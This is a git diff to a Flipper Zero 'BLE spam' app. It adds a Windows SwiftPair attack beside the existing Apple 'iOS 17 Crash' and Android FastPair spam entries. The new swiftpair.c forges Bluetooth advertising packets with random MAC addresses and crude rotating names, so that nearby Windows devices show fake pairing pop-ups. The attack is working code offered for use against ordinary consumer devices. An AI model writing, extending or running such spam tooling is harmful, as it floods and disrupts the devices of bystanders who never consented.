diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 82903121a..605fc1372 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -7,7 +7,7 @@ // Hacked together by @Willy-JL // Custom adv API by @Willy-JL (idea by @xMasterX) // iOS 17 Crash by @ECTO-1A -// Android Pairs by @Spooks4576 and @ECTO-1A +// Android and Windows Pairs by @Spooks4576 and @ECTO-1A // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam @@ -98,6 +98,19 @@ static Attack attacks[] = { }, }, }, + { + .title = "Windows Device Found", + .text = "Requires enabling SwiftPair", + .payload = + { + .random_mac = true, + .protocol = &ble_spam_protocol_swiftpair, + .msg = + { + .swiftpair = {}, + }, + }, + }, }; #define ATTACK_COUNT ((signed)COUNT_OF(attacks)) @@ -256,7 +269,7 @@ static void draw_callback(Canvas* canvas, void* ctx) { AlignTop, "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" - "Android: \e#Spooks4576\e#\n" + "Android+Win: \e#Spooks4576\e#\n" " Version \e#2.0\e#", false); break; diff --git a/applications/external/ble_spam/icons/windows.png b/applications/external/ble_spam/icons/windows.png new file mode 100644 index 000000000..9b734d161 Binary files /dev/null and b/applications/external/ble_spam/icons/windows.png differ diff --git a/applications/external/ble_spam/protocols/_registry.c b/applications/external/ble_spam/protocols/_registry.c index 9ede92816..3d334fa14 100644 --- a/applications/external/ble_spam/protocols/_registry.c +++ b/applications/external/ble_spam/protocols/_registry.c @@ -3,6 +3,7 @@ const BleSpamProtocol* ble_spam_protocols[] = { &ble_spam_protocol_continuity, &ble_spam_protocol_fastpair, + &ble_spam_protocol_swiftpair, }; const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols); diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h index f4c41c4f4..69070c356 100644 --- a/applications/external/ble_spam/protocols/_registry.h +++ b/applications/external/ble_spam/protocols/_registry.h @@ -2,10 +2,12 @@ #include "continuity.h" #include "fastpair.h" +#include "swiftpair.h" union BleSpamMsg { ContinuityMsg continuity; FastpairMsg fastpair; + SwiftpairMsg swiftpair; }; extern const BleSpamProtocol* ble_spam_protocols[]; diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c new file mode 100644 index 000000000..26ea203e4 --- /dev/null +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -0,0 +1,54 @@ +#include "swiftpair.h" +#include "_registry.h" + +// Hacked together by @Willy-JL and @Spooks4576 +// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair + +const char* swiftpair_get_name(const BleSpamMsg* _msg) { + const SwiftpairMsg* msg = &_msg->swiftpair; + UNUSED(msg); + return "SwiftPair"; +} + +void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) { + const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL; + + const char* display_name; + if(msg && msg->display_name[0] != '\0') { + display_name = msg->display_name; + } else { + const char* names[] = { + "Assquach💦", + "Flipper 🐬", + "iOS 17 🍎", + "Kink💦", + "👉👌", + "🔵🦷", + }; + display_name = names[rand() % COUNT_OF(names)]; + } + uint8_t display_name_len = strlen(display_name); + + uint8_t size = 7 + display_name_len; + uint8_t* packet = malloc(size); + uint8_t i = 0; + + packet[i++] = size - 1; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x06; // Company ID (Microsoft) + packet[i++] = 0x00; // ... + packet[i++] = 0x03; // Microsoft Beacon ID + packet[i++] = 0x00; // Microsoft Beacon Sub Scenario + packet[i++] = 0x80; // Reserved RSSI Byte + memcpy(&packet[i], display_name, display_name_len); // Display Name + i += display_name_len; + + *out_size = size; + *out_packet = packet; +} + +const BleSpamProtocol ble_spam_protocol_swiftpair = { + .icon = &I_windows, + .get_name = swiftpair_get_name, + .make_packet = swiftpair_make_packet, +}; diff --git a/applications/external/ble_spam/protocols/swiftpair.h b/applications/external/ble_spam/protocols/swiftpair.h new file mode 100644 index 000000000..5ded8ebf8 --- /dev/null +++ b/applications/external/ble_spam/protocols/swiftpair.h @@ -0,0 +1,11 @@ +#pragma once +#include "_base.h" + +// Hacked together by @Willy-JL and @Spooks4576 +// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair + +typedef struct { + char display_name[25]; +} SwiftpairMsg; + +extern const BleSpamProtocol ble_spam_protocol_swiftpair;